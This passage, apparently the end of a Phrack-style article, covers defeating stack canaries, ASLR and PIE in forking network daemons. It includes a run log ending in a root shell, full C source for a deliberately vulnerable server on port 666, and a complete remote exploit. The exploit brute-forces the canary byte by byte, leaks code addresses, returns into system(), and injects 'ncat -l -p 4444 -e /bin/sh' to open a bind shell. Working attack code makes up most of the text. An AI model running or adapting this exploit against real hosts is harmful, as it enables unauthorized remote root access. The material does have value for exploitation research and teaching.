The previous situation was a bit optimistic. Indeed when system() is not
used in the program, there is obviously no "call system" instruction (and
no corresponding PLT entry either). But it's no big deal a
return-into-write-like() function is always possible as illustrated below:
*(buf_addr++) = 0x00000004;
*(buf_addr++) = (P_REL_GOT + (base_addr << 12));
*(buf_addr++) = 0x41414141;
*(buf_addr++) = write_addr; // retun into call_write(fd, buf, count)
*(buf_addr++) = 0x00000004; // fd
*(buf_addr++) = some_addr; // buf
*(buf_addr++) = 0x00000005; // count
With such a primitive it's easy to info leak anything needed. This could
allow you to perform a return-into-dl-resolve() as illustrated in [10]. The
implementation of this technique with the PoC exploit is left as an
exercise for the reader.
Final algorithm
---------------
So in the end the final algorithm is:
1) Looking for the distance needed to reach the canary of the death
2) Finding the value of this canary using a 'byte-by-byte' brute force
method
3) Using the value of this canary to legitimate overflows, we should start
finding the code segment by returning in a function leaking information.
4) Deducing everything needed using the load address
5) Build a new chained return-into-* attack and get the shell!
And it should give you something like that:
---------------------------------------------------------------------------
[root@pi3-test phrack]# gcc s.c -o s -fpie -pie -fstack-protector-all
[root@pi3-test phrack]# ./s
start
Launched into background (pid: 32145)
[root@pi3-test phrack]#
...
...
child 32106 terminated
sh: vuln: nie znaleziono polecenia
[pi3@pi3-test phrack]$ gcc moj.c -o moj
[pi3@pi3-test phrack]$ ./moj -v 127.0.0.1
...::: -=[ Bypassing pro-police PoC for server by Adam 'pi3
(pi3ki31ny)' Zabrocki ]=- :::...
[+] Trying to find the position of the canary...
[+] Found the canary! => offset = 101 (+11)
[+] Trying to find the canary...
[+] Found byte! => 0x8e
[+] Found byte! => 0x17
[+] Found byte! => 0xa4
[+] Found byte! => 0xd7
[+] Overwriting frame pointer (EBP?)...
[+] Overwriting instruction pointer (EIP?)...
[+] Starting bruteforce...
[+] Success! :) (0x110eee0a)
-> @call_write = 0x110eed6c
-> @call_system = 0x110eeb9b
[+] Trying ret-into-system...
[+] Connecting to bindshell...
pi3 was here :-)
Executing shell...
uid=0(root) gid=0(root)
grupy=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
Linux pi3-test 2.6.32.13-grsec #1 SMP Thu May 13 17:07:21 CEST 2010 i686
i686 i386 GNU/Linuxexit;
---------------------------------------------------------------------------
The demo exploit can be found in the appendix. It was tested on many
systems including:
*) Linux (Fedora 10, Fedora 11, Fedora 12)
*) Linux with PaX patch (2.6.32.13-grsec)
*) OpenBSD (4.4, 4.5, 4.6)
*) FreeBSD (7.x)
---[ 6 - Conclusion
Due to modern protections, classical methods of exploitation may or may not
be sufficient to exploit remote stack overflows. We saw that in the context
of fork()-only daemons a few conditions were sometimes sufficient for that
purpose.
At this moment I want to send some greetings... I know it is lame and
unprofessional ;)
-> Ewa - moja kochana dziewczyna ;)
-> Akos Frohner, Tomasz Janiczek, Romain Wartel - you are good friends ;)
-> snoop, phunk, thorkill, Piotr Bania, Gynvael Coldwind, andrewg, and
#plhack@IRCNET
"... opetani samotnoscia..."
Best regards Adam Zabrocki. - "Ja tylko sprzatam..."
---[ 7 - References
[1] http://phrack.org/issues.html?issue=56&id=5#article
[2] The Shellcoder's Handbook - Chris Anley, John Heasman,
Felix "FX" Linder, Gerardo Richarte
[4] http://marc.info?m=97288542204811
[5] http://pax.grsecurity.net
[6] http://www.trl.ibm.com/projects/security/ssp/
[7] http://gcc.gnu.org/gcc-4.1/changes.html
[8] http://xorl.wordpress.com/2010/10/14/linux-glibc-stack-canary-values/
[9] http://sota.gen.nz/hawkes_openbsd.pdf
[10] http://www.phrack.org/issues.html?issue=58&id=4
[11] http://seclists.org/bugtraq/1997/Aug/63
[12] http://phrack.org/issues.html?issue=59&id=9#article
[13] http://www.phrack.org/issues.html?issue=63&id=14
---[ 8 - Appendix - PoC
---[ 8.1 - The server (s.c)
----------------------------------- CUT -----------------------------------
/*
* This is simple server which is vulnerable to stack overflow attack.
* It was written for demonstration of the remote stack overflow attack in
* modern *NIX systems - bypass everything - ASLR, AAAS, ESP, SSP
* (ProPolice).
*
* Best regards,
* Adam Zabrocki
* --
* pi3 (pi3ki31ny) - pi3 (at) itsec pl
* http://pi3.com.pl
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <sys/wait.h>
#include <unistd.h>
#define PORT 666
#define PIDFILE "/var/run/vuln_server.pid"
#define err_sys(a) {printf("%s[%s]\n",a,strerror(errno));exit(-1);}
#define SA struct sockaddr
#define SRV_BANNER "Some server launched by root user\n"
int vuln_func(char *, int, int);
void stack_dump(char *, char *);
void sig_chld(int);
int main(void)
{
int status,dlugosc,port=PORT,connfd,listenfd,kupa;
struct sockaddr_in serv,client;
char buf[200];
pid_t pid;
FILE *logs;
if ( (listenfd=socket(PF_INET, SOCK_STREAM, 0)) < 0)
err_sys("Socket() error!\n");
bzero(&serv,sizeof(serv));
bzero(&client,sizeof(client));
serv.sin_family = PF_INET;
serv.sin_port = htons(port);
serv.sin_addr.s_addr=htonl(INADDR_ANY);
if ( (bind(listenfd,(SA*)&serv,sizeof(serv))) != 0 )
err_sys("Bind() error!\n");
if ((listen(listenfd,2049)) != 0)
err_sys("Listen() error!\n");
system("echo start");
status=fork();
if (status==-1) err_sys("[FATAL]: cannot fork!\n");
if (status!=0) {
logs=fopen(PIDFILE, "w");
fprintf(logs,"pid = %u",status);
printf("\nLaunched into background (pid: %d)\n\n", status);
fclose(logs);
logs=NULL;
return 0;
}
status=0;
signal (SIGCHLD,sig_chld);
for (;;) {
dlugosc = sizeof client;
if((connfd=accept(listenfd,(SA*)&client,(socklen_t *)&dlugosc))< 0)
err_sys("accept error !\n");
if ( (pid=fork()) == 0) {
if ( close(listenfd) !=0 )
err_sys("close error !\n");
write(connfd, SRV_BANNER, strlen(SRV_BANNER));
for (;;) {
bzero(buf,sizeof(buf));
kupa = recv(connfd, buf, sizeof(buf), 0);
if ( (vuln_func(buf,connfd, kupa)) != 1)
break;
}
close(connfd);
exit(0);
}
else
close(connfd);
}
}
int vuln_func(char *args, int fd, int ile) {
char buf[100];
memset(buf, 0, sizeof buf);
if ( (strncmp(args,"vuln",4)) == 0) {
#ifdef __DEBUG
stack_dump("BEFORE", buf);
#endif
write(fd,"Vuln running...\nCopying bytes...",32);
memcpy(buf,args+5,ile-5);
#ifdef __DEBUG
stack_dump("AFTER", buf);
#endif
write(fd,"\nDONE\nReturn to the main loop\n",30);
return 1;
}
else if ( (strncmp(args,"quit",4)) == 0) {
write(fd,"Exiting...\n",11);
return 0;
}
else {
write(fd,"help:\n",6);
write(fd," [*] vuln <args>\n",17);
write(fd," [*] help\n",10);
write(fd," [*] quit\n",10);
return 1;
}
}
void stack_dump(char *header, char *buf)
{
int i;
unsigned int *p = (unsigned int *)buf;
FILE *fp;
fp=fopen("./dupa.txt","a");
fprintf(fp,"%s\n",header);
for (i=0;i<240;)
{
fprintf(fp,"%.8x: %.8x %.8x %.8x %.8x\n", (unsigned int)p,
*p, *(p+1), *(p+2), *(p+3));
p += 4;
i += sizeof(int) *4;
}
fprintf(fp,"\n");
fclose(fp);
return;
}
void sig_chld(int signo)
{
pid_t pid;
int stat;
while ( (pid = waitpid(-1, &stat, WNOHANG)) > 0)
printf("child %d terminated\n",pid);
return;
}
----------------------------------- CUT -----------------------------------
---[ 8.2 - The exploit (moj.c)
----------------------------------- CUT -----------------------------------
/*
* This is Proof of Concept exploit which bypass everything (SSP
* [pro-police], ASLR, AAAS, ESP) and use modified ret-into-libc technique
* to execute shell.
*
* Article about modified ret-into-libc technique you can find on my web -
* it was published some years ago on bugtraq and now it is very useful :)
*
* Ps. Address of ret-to-call_system@plt that you should change is
* P_REL_CALLSYSTEM
* The same you be done with directive P_REL_CALLVULN and P_REL_GOT.
* P_REL_CALLWRITE (info leak) is unused in this version of PoC.
* P_CMD holds the command which will be executed - you can change if
* you want ;)
*
* Best regards,
* Adam Zabrocki
* --
* pi3 (pi3ki31ny) - pi3 (at) itsec pl
* http://pi3.com.pl
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <getopt.h>
#include <errno.h>
#define PORT 666
#define BUFS 250
#define START 90
#define P_REL_CALLVULN 0xe0a
#define P_REL_CALLWRITE 0xd6c
#define P_REL_CALLSYSTEM 0xb9b
#define P_REL_MASK 0x0FFF
#define P_REL_GOT 0x25a4 // 0x2644
#define SA struct sockaddr
/* Thic CMD variable is only for PoC. You should choose it individually */
//#define P_CMD "|| nc -l -p 4444 -e /bin/sh;"
#define P_CMD "|| ncat -l -p 4444 -e /bin/sh;"
int shell(int);
int usage(char *arg)
{
printf("\n\t...::: -=[ Bypassing pro-police for PoC server by Adam "
"'pi3 (pi3ki31ny)' Zabrocki ]=- :::...\n");
printf("\n\tUsage:\n\t[+] %s [options]\n",arg);
printf(" -? <this help screen>\n");
printf(" -b <local_buff_brute_force_start_address>\n");
printf(" -p port\n");
printf(" -v <victim>\n\n");
exit(-1);
}
int main(int argc, char *argv[])
{
unsigned int brute = 0;
int ret, *buf_addr, global_cnt = 0;
char *buf,read_buf[4096],cannary[0x4] = { 0x0, 0x0, 0x0, 0x0 };
struct sockaddr_in servaddr;
struct hostent *h;
int elo, port=PORT, opt, sockfd, test=0, offset=0, test2 = 0;
int helper = 0, position_found = 0;
int write_addr = 0, system_addr = 0;
struct timeval tv;
while((opt = getopt(argc,argv,"p:b:v:?")) != -1) {
switch(opt) {
case 'b':
sscanf(optarg,"%x",&brute);
break;
case 'p':
port=atoi(optarg);
break;
case 'v':
test=1;
if ( (h=gethostbyname(optarg)) == NULL) {
printf("gethostbyname() failed!\n");
exit(-1);
}
break;
case '?':
default:
usage(argv[0]);
}
}
if (test==0)
usage(argv[0]);
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(port);
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_addr = *(struct in_addr*)*h->h_addr_list;
if (!(buf=(char*)malloc(BUFS))) {
exit(-1);
}
setbuf(stdout,NULL);
printf("\n\t...::: -=[ Bypassing pro-police PoC for server by Adam "
"'pi3 (pi3ki31ny)' Zabrocki ]=- :::...\n");
printf("\n\t[+] Trying to find the position of the canary...\n");
for (position_found=0;!position_found;global_cnt++) {
memset(buf,0x0,BUFS);
strcpy(buf,"vuln ");
memset(&buf[5], 0x41, START+global_cnt);
if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
printf("Socket() error!\n");
exit(-1);
}
if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr))) < 0) {
printf("Connect() error!\n");
exit(-1);
}
/*
// You can optimize waiting via timeout
tv.tv_sec=0,tv.tv_usec=40000;
if ( (setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&tv,sizeof(tv)))
!= 0) {
printf("setsockopt() error!\n");
exit(-1);
}
*/
bzero(read_buf,sizeof(read_buf));
read(sockfd,read_buf,sizeof(read_buf));
write(sockfd,buf,strlen(buf));
bzero(read_buf,sizeof(read_buf));
read(sockfd,read_buf,32);
bzero(read_buf,sizeof(read_buf));
read(sockfd,read_buf,30);
write(sockfd,"quit",4);
bzero(read_buf,sizeof(read_buf));
ret = read(sockfd,read_buf,sizeof(read_buf));
if(ret <= 0) {
printf("\t[+] Found the canary! => offset = %d (+%d)\n",
START+global_cnt,global_cnt);
position_found = 1;
}
close(sockfd);
}
printf("\t[+] Trying to find the canary...\n");
global_cnt--;
for (elo=0;elo<4;elo++) {
for (opt=0; opt<256; opt++) {
memset(buf,0x0,BUFS);
strcpy(buf,"vuln ");
memset(&buf[5], 0x41, START+global_cnt);
memcpy(&buf[5+START+global_cnt-1], cannary, elo);
buf[5+START+global_cnt-1+elo]=opt;
if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
printf("socket() error!\n");
exit(-1);
}
if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr)) ) < 0) {
printf("connect() error!\n");
exit(-1);
}
/*
// You can optimize waiting via timeout
tv.tv_sec=0,tv.tv_usec=40000;
if ( (setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&tv,sizeof(tv)))
!= 0) {
printf("setsockopt() error!\n");
exit(-1);
}
*/
bzero(read_buf,sizeof(read_buf));
read(sockfd,read_buf,sizeof(read_buf));
do {
unsigned int an_egg = START+global_cnt+5+elo;
write(sockfd,buf,an_egg);
} while(0);
bzero(read_buf,sizeof(read_buf));
read(sockfd,read_buf,32);
bzero(read_buf,sizeof(read_buf));
read(sockfd,read_buf,30);
write(sockfd,"quit",4);
bzero(read_buf,sizeof(read_buf));
ret = read(sockfd,read_buf,sizeof(read_buf));
if (ret > 0) {
printf("\t[+] Found byte! => 0x%02x\n",opt);
cannary[elo] = opt;
close(sockfd);
break;
}
/* If we miss somehow the byte... */
if (opt == 255)
opt = 0x0;
close(sockfd);
}
}
printf("\t[+] Overwriting frame pointer (EBP?)...\n");
printf("\t[+] Overwriting instruction pointer (EIP?)...\n");
printf("\t[+] Starting bruteforce...\n");
for (offset=0,test2=0x0,opt=0;test&&!offset;test2++,opt++) {
memset(buf,0,BUFS);
strcpy(buf,"vuln ");
memset(&buf[5], 0x41, START+global_cnt);
memcpy(&buf[5+START+global_cnt-1], cannary, elo);
buf_addr=(int*)&buf[5+START+global_cnt-1+elo];
helper = (P_REL_CALLVULN & P_REL_MASK) | (test2 << 12);
*(buf_addr++) = 0xdeadbabe;
*(buf_addr++) = (P_REL_GOT + (test2 << 12)); // used by the GOT.
*(buf_addr++) = helper;
if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
printf("socket() error!\n");
exit(-1);
}
if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr))) < 0) {
printf("connect() error!\n");
exit(-1);
}
/*
// You can optimize waiting via timeout
tv.tv_sec=0,tv.tv_usec=40000;
if ( (setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&tv,sizeof(tv)))
!= 0) {
printf("setsockopt() error!\n");
exit(-1);
}
*/
bzero(read_buf,sizeof(read_buf));
read(sockfd,read_buf,sizeof(read_buf));
write(sockfd,buf,5+START+global_cnt-1+elo+(4-1)*4);
bzero(read_buf,sizeof(read_buf));
read(sockfd,read_buf,32);
bzero(read_buf,sizeof(read_buf));
read(sockfd,read_buf,30);
write(sockfd,"quit",4);
bzero(read_buf,sizeof(read_buf));
ret = read(sockfd,read_buf,sizeof(read_buf));
if(ret > 0) {
/* At that point we successfully called vuln_func()
which means that we "probably" returned in [I1]
e67: 8b 44 24 1c mov 0x1c(%esp),%eax
e6b: 89 44 24 08 mov %eax,0x8(%esp)
e6f: 8b 44 24 24 mov 0x24(%esp),%eax
e73: 89 44 24 04 mov %eax,0x4(%esp)
e77: 8d 44 24 34 lea 0x34(%esp),%eax
e7b: 89 04 24 mov %eax,(%esp)
e7e: e8 3e 00 00 00 call ec1 <vuln_func> [I1]
*/
write_addr = (P_REL_CALLWRITE & P_REL_MASK) | (test2 << 12);
system_addr = (P_REL_CALLSYSTEM & P_REL_MASK) | (test2 << 12);
printf("\t[+] Success! :) (0x%.8x)\n",helper);
printf("\t\t-> @call_write = 0x%.8x\n",write_addr);
printf("\t\t-> @call_system = 0x%.8x\n",system_addr);
offset=1;
}
close(sockfd);
}
if (!offset) {
printf("\t[-] Exploit Failed! :(\n\n");
exit(-1);
}
printf("\t[+] Trying ret-into-system...\n");
memset(buf,0x0,BUFS);
strcpy(buf,"vuln ");
memset(&buf[5], 0x41, START+global_cnt);
memcpy(&buf[5], P_CMD, strlen(P_CMD));
memcpy(&buf[5+START+global_cnt-1], cannary, elo);
buf_addr=(int*)&buf[5+START+global_cnt-1+elo];
test2--;
*(buf_addr++) = 0xdeadbabe;
*(buf_addr++) = (P_REL_GOT + (test2 << 12)); // used by the GOT.
*(buf_addr++) = 0x41414141;
*(buf_addr++) = system_addr;
if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
printf("Socket() error!\n");
exit(-1);
}
if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr))) < 0) {
printf("Connect() error!\n");
exit(-1);
}
/*
// You can optimize waiting via timeout
tv.tv_sec=0,tv.tv_usec=40000;
if ( (setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&tv,sizeof(tv))) != 0) {
printf("setsockopt() error!\n");
exit(-1);
}
*/
bzero(read_buf,sizeof(read_buf));
read(sockfd,read_buf,sizeof(read_buf));
write(sockfd,buf,4+START+global_cnt+4+4*4);
bzero(read_buf,sizeof(read_buf));
ret = read(sockfd,read_buf,32);
bzero(read_buf,sizeof(read_buf));
ret = read(sockfd,read_buf,30);
if(ret == 30) {
printf("\t[+] Connecting to bindshell...\n\n");
sleep(2);
if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
printf("Socket() error!\n");
exit(-1);
}
servaddr.sin_port = htons(4444);
if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr)) ) <0 ) {
printf("Connect() error!\n");
exit(-1);
}
shell(sockfd);
}
return 0;
}
int shell(int fd)
{
int rd ;
fd_set rfds;
static char buff[1024];
char INIT_CMD[] = "echo \"pi3 was here :-)\"; "
"echo \"Executing shell...\"; "
"unset HISTFILE; echo; id; uname -a\n";
write(fd, INIT_CMD, strlen( INIT_CMD ));
while (1) {
FD_ZERO(&rfds);
FD_SET(0, &rfds);
FD_SET(fd, &rfds);
if (select(fd+1, &rfds, NULL, NULL, NULL) < 1) {
perror("[-] Select");
exit( EXIT_FAILURE );
}
if (FD_ISSET(0, &rfds)) {
if ( (rd = read(0, buff, sizeof(buff))) < 1) {
perror("[-] Read");
exit(EXIT_FAILURE);
}
if (write(fd,buff,rd) != rd) {
perror("[-] Write");
exit( EXIT_FAILURE );
}
}
if (FD_ISSET(fd, &rfds)) {
if ( (rd = read(fd, buff, sizeof(buff))) < 1) {
exit(EXIT_SUCCESS);
}
write(1, buff, rd);
}
}
}
----------------------------------- CUT -----------------------------------
Reference in a new issue Copy permalink